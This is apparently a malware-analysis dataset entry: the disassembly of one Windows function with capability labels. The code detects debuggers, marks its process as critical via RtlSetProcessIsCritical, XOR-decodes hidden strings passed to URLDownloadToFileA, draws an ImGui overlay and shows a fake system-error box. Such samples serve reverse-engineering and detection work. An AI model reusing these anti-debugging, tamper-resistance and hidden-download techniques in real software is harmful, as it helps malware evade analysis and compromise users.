Function at 0x431990
Capabilities:
Check for debugger via api
Download url
Enumerate gui resources
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x208
mov eax, dword [0x43c00c]
xor eax, esp
mov dword [esp + 0x204], eax
push esi
push edi
push str.4fsm776FTgAPDcY
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x431a04
mov eax, dword [0x447ad8]
test eax, eax
je 0x4319e9
push str.RtlSetProcessIsCritical
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4319e9
push 0
lea ecx, [esp + 0x1bf]
push ecx
push 1
call eax
mov eax, 1
pop edi
pop esi
mov ecx, dword [esp + 0x204]
xor ecx, esp
call fcn.00432b74
mov esp, ebp
pop ebp
ret 0x10
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.0042e990
test eax, eax
je 0x432237
call fcn.00431450
lea eax, [esp + 0x1bc]
mov dword [esp + 0x1bc], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [esp + 0x1bc], 0
je 0x431a6e
mov eax, dword [0x447ad8]
test eax, eax
je 0x431a6e
push str.RtlSetProcessIsCritical
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x431a6e
push 0
lea ecx, [esp + 0x1bf]
push ecx
push 1
call eax
push dword [0x447688]
push 0x42ee70
call dword [sym.imp.USER32.dll_EnumWindows]
mov dword [esp + 0x150], 0xc2c02c1b
lea ecx, [esp + 0xd0]
mov dword [esp + 0x154], 0x18aea091
lea edx, [ecx + 1]
mov dword [esp + 0x158], 0x8bab8a5b
xorps xmm0, xmm0
mov dword [esp + 0x15c], 0x643a1b2b
movaps xmm1, xmmword [esp + 0x150]
mov dword [esp + 0x160], 0x924417ba
mov dword [esp + 0x164], 0xb52f0720
mov dword [esp + 0x168], 0x6c028965
mov dword [esp + 0x16c], 0x5e2084f9
movaps xmm2, xmmword [esp + 0x160]
mov dword [esp + 0x170], 0x1d30fb7f
mov dword [esp + 0x174], 0x8b1d2d1a
mov dword [esp + 0x178], 0x7c0d2968
mov dword [esp + 0x17c], 0x2f5d914f
movaps xmm3, xmmword [esp + 0x170]
mov dword [esp + 0x180], 0xa8076d60
mov dword [esp + 0x184], 0x345a4cf8
mov dword [esp + 0x188], 0x115b4829
mov dword [esp + 0x18c], 0x93117861
movaps xmm4, xmmword [esp + 0x180]
mov dword [esp + 0x190], 0xa014024a
mov dword [esp + 0x194], 0x418466fd
mov dword [esp + 0x198], 0x7ff45017
mov dword [esp + 0x19c], 0x26ed8318
movaps xmm5, xmmword [esp + 0x190]
mov dword [esp + 0x1a0], 0x89ac8b2
mov dword [esp + 0x1a4], 0x1f60a8b
mov dword [esp + 0x1a8], 0x86d1547e
mov dword [esp + 0x1ac], 0xec5f155
movaps xmm6, xmmword [esp + 0x1a0]
movaps xmmword [esp + 0xd0], xmm1
mov dword [esp + 0x50], 0xb2b45873
mov dword [esp + 0x54], 0x37819ae2
mov dword [esp + 0x58], 0xa5c5ee38
mov dword [esp + 0x5c], 0x749724f
xorps xmm1, xmmword [esp + 0x50]
mov dword [esp + 0x60], 0xf32065d5
mov dword [esp + 0x64], 0xd6017750
mov dword [esp + 0x68], 0xd2de40a
mov dword [esp + 0x6c], 0x3d41f08d
xorps xmm2, xmmword [esp + 0x60]
mov dword [esp + 0x70], 0x73559617
mov dword [esp + 0x74], 0xb2325e6e
mov dword [esp + 0x78], 0x4b3c1c5c
mov dword [esp + 0x7c], 0x1d68a47b
xorps xmm3, xmmword [esp + 0x70]
mov dword [esp + 0x80], 0x9e315559
mov dword [esp + 0x84], 0x46c74cc
mov dword [esp + 0x88], 0x2462671e
mov dword [esp + 0x8c], 0xa0284059
xorps xmm4, xmmword [esp + 0x80]
mov dword [esp + 0x90], 0x9522327b
mov dword [esp + 0x94], 0x71b057ca
mov dword [esp + 0x98], 0x4fcd6320
mov dword [esp + 0x9c], 0x5688f137
xorps xmm5, xmmword [esp + 0x90]
mov dword [esp + 0xa0], 0x50eebadd
mov dword [esp + 0xa4], 0x65d838b8
mov dword [esp + 0xa8], 0x86d13812
mov dword [esp + 0xac], 0xec5f155
xorps xmm6, xmmword [esp + 0xa0]
movaps xmmword [esp + 0xd0], xmm1
movaps xmmword [esp + 0xe0], xmm2
movaps xmmword [esp + 0xf0], xmm3
movaps xmmword [esp + 0x100], xmm4
movaps xmmword [esp + 0x110], xmm5
movaps xmmword [esp + 0x120], xmm6
movaps xmmword [esp + 0x1e0], xmm0
mov dword [esp + 0x1f0], 0
mov dword [esp + 0x1f4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x431d25
sub ecx, edx
lea eax, [esp + 0xd0]
push ecx
push eax
lea ecx, [esp + 0x1e8]
call fcn.00432830
mov dword [esp + 0x10], 0xe5e86230
lea ecx, [esp + 0x150]
mov dword [esp + 0x14], 0x58e5f48b
lea edx, [ecx + 1]
mov dword [esp + 0x18], 0xd6999d4f
xorps xmm0, xmm0
mov dword [esp + 0x1c], 0x6e670136
movaps xmm1, xmmword [esp + 0x10]
mov dword [esp + 0x20], 0xf3200cbb
mov dword [esp + 0x24], 0xd6017750
mov dword [esp + 0x28], 0xd2de40a
mov dword [esp + 0x2c], 0x3d41f08d
movaps xmm2, xmmword [esp + 0x20]
mov dword [esp + 0x30], 0xb2b45873
mov dword [esp + 0x34], 0x37819ae2
mov dword [esp + 0x38], 0xa5c5ee38
mov dword [esp + 0x3c], 0x749724f
mov dword [esp + 0x40], 0xf32065d5
mov dword [esp + 0x44], 0xd6017750
mov dword [esp + 0x48], 0xd2de40a
mov dword [esp + 0x4c], 0x3d41f08d
xorps xmm2, xmmword [esp + 0x40]
movaps xmmword [esp + 0x150], xmm1
xorps xmm1, xmmword [esp + 0x30]
movaps xmmword [esp + 0x150], xmm1
movaps xmmword [esp + 0x160], xmm2
movaps xmmword [esp + 0x1c0], xmm0
mov dword [esp + 0x1d0], 0
mov dword [esp + 0x1d4], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x431e20
sub ecx, edx
lea eax, [esp + 0x150]
push ecx
push eax
lea ecx, [esp + 0x1c8]
call fcn.00432830
cmp dword [esp + 0x1d4], 0x10
lea ecx, [esp + 0x1c0]
push 0
cmovae ecx, dword [esp + 0x1c4]
lea eax, [esp + 0x1e4]
cmp dword [esp + 0x1f8], 0x10
push 0
cmovae eax, dword [esp + 0x1e8]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.00430e40
mov esi, dword [0x44761c]
push 0x44762c
push 0x20
mov dword [esp + 0x10], esi
call dword [sym.imp.d3d9.dll_Direct3DCreate9Ex]
test eax, eax
jns 0x431ea2
push 3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov ecx, dword [0x44762c]
lea edx, [esp + 0x150]
mov eax, dword [0x447ae8]
xorps xmm0, xmm0
push 0x447684
push edx
push 0x40
push esi
mov dword [esp + 0x160], eax
mov eax, dword [0x447694]
push 1
movlpd qword [esp + 0x170], xmm0
movlpd qword [esp + 0x190], xmm0
mov dword [esp + 0x184], 1
mov dword [esp + 0x17c], 1
mov dword [esp + 0x180], esi
mov dword [esp + 0x178], 0
mov dword [esp + 0x16c], 0x15
mov dword [esp + 0x168], eax
mov dword [esp + 0x188], 1
mov dword [esp + 0x18c], 0x50
mov dword [esp + 0x198], 0
mov eax, dword [ecx]
push 0
push ecx
call dword [eax + 0x40]
test eax, eax
jns 0x431f5a
mov eax, dword [0x44762c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push 4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call fcn.00404f50
mov eax, dword [0x4474f0]
lea ecx, [esp + 0x50]
mov dword [esp + 0x1bc], eax
mov edx, dword [eax + 0x94]
call fcn.0041d880
mov esi, eax
lea edi, [esp + 0xd0]
mov ecx, 0x1d
lea eax, [esp + 0xd0]
rep movsd dword es:[edi], dword [esi]
push eax
mov ecx, edx
mov dword [esp + 0xd4], 0x43c258
mov dword [esp + 0xd8], 0x15
mov dword [esp + 0xe4], 0x41a80000
mov dword [esp + 0x104], 0x4391d8
call fcn.0041db80
mov eax, dword [esp + 0x1bc]
push 0x447b68
or dword [eax + 8], 1
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x4320b4
push 0x447b60
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x4320b4
mov ecx, dword [0x4474f0]
mov eax, dword [esp + 8]
mov dword [0x447b58], eax
or dword [ecx + 0xc], 6
mov dword [ecx + 0xc4], str.imgui_impl_win32
mov dword [ecx + 0xdc], eax
mov dword [ecx + 0x34], 9
mov dword [ecx + 0x38], 0x25
mov dword [ecx + 0x3c], 0x27
mov dword [ecx + 0x40], 0x26
mov dword [ecx + 0x44], 0x28
mov dword [ecx + 0x48], 0x21
mov dword [ecx + 0x4c], 0x22
mov dword [ecx + 0x50], 0x24
mov dword [ecx + 0x54], 0x23
mov dword [ecx + 0x58], 0x2d
mov dword [ecx + 0x5c], 0x2e
mov dword [ecx + 0x60], 8
mov dword [ecx + 0x64], 0x20
mov dword [ecx + 0x68], 0xd
mov dword [ecx + 0x6c], 0x1b
mov dword [ecx + 0x70], 0x41
mov dword [ecx + 0x74], 0x43
mov dword [ecx + 0x78], 0x56
mov dword [ecx + 0x7c], 0x58
mov dword [ecx + 0x80], 0x59
mov dword [ecx + 0x84], 0x5a
jmp 0x4320ba
mov ecx, dword [0x4474f0]
mov eax, dword [0x447684]
mov dword [ecx + 0xc8], str.imgui_impl_dx9
mov dword [0x447b50], eax
mov eax, dword [0x44762c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push 0x42eed0
lea ecx, [esp + 0xc]
call fcn.00432630
mov esi, eax
cmp dword [esi + 4], 0
je 0x43222f
push dword [esi + 4]
mov edi, dword [sym.imp.MSVCP140.dll__Thrd_detach]
push dword [esi]
call edi
add esp, 8
test eax, eax
jne 0x43222f
mov dword [esi], eax
mov dword [esi + 4], eax
cmp dword [esp + 0xc], eax
je 0x43211c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 0x42ece0
lea ecx, [esp + 0xc]
call fcn.00432630
mov esi, eax
cmp dword [esi + 4], 0
je 0x43222f
push dword [esi + 4]
push dword [esi]
call edi
add esp, 8
test eax, eax
jne 0x43222f
mov dword [esi], eax
mov dword [esi + 4], eax
cmp dword [esp + 0xc], eax
je 0x432159
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea edx, [esp + 0x1c0]
mov dword [esp + 8], eax
lea ecx, [esp + 8]
call fcn.00431750
call fcn.004311b0
mov ecx, dword [esp + 0x1d4]
cmp ecx, 0x10
jb 0x4321bb
mov edx, dword [esp + 0x1c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4321b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x432207
push ecx
push edx
call fcn.00432f9d
add esp, 8
mov ecx, dword [esp + 0x1f4]
mov dword [esp + 0x1d0], 0
mov dword [esp + 0x1d4], 0xf
mov byte [esp + 0x1c0], 0
cmp ecx, 0x10
jb 0x432217
mov edx, dword [esp + 0x1e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43220d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43220d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00432f9d
add esp, 8
mov ecx, dword [esp + 0x20c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00432b74
mov esp, ebp
pop ebp
ret 0x10
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 0x10
push str.System_Error
push str.Error:_Handle_System_Level_Fail____Restart_Computer_and_Try_Again.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3